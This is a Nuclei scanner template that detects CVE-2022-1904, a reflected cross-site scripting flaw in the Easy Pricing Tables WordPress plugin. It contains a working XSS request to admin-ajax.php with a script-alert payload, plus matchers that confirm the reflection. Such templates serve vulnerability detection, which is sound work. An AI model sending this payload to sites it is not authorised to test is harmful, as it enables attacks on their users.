nuclei-templates/cves/2022/CVE-2022-1904.yaml

41 lines
1.2 KiB
YAML

id: CVE-2022-1904
info:
name: Easy Pricing Tables < 3.2.1 - Reflected Cross-Site-Scripting
author: Akincibor
severity: medium
description: |
The plugin does not sanitize and escape parameter before reflecting it back in a page available to any user (both authenticated and unauthenticated) when a specific setting is enabled, leading to a reflected cross-site scripting.
reference:
- https://wpscan.com/vulnerability/92215d07-d129-49b4-a838-0de1a944c06b
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1904
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-1904
cwe-id: CWE-79
metadata:
verified: "true"
tags: cve,cve2022,wp-plugin,xss,wp,wordpress
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script> - Color'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200